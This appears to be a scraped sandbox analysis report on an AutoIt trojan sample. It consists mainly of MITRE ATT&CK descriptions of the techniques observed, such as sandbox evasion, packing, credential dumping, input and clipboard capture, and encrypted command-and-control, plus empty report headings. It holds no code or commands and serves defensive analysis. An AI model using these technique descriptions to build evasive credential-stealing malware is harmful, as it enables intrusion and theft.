Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.AutoIt.316.10986.27538

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Static AutoIT Info

General

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Function 00D10B30, Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300
windowsleeptimeCOMMON

Function 00D8CDAC, Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637
windowkeyboardCOMMON

Function 00D8804A, Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571
windowCOMMONCrypto

Function 00D8A849, Relevance: 49.8, APIs: 33, Instructions: 274
COMMON

Function 00D02C18, Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486
windowCOMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre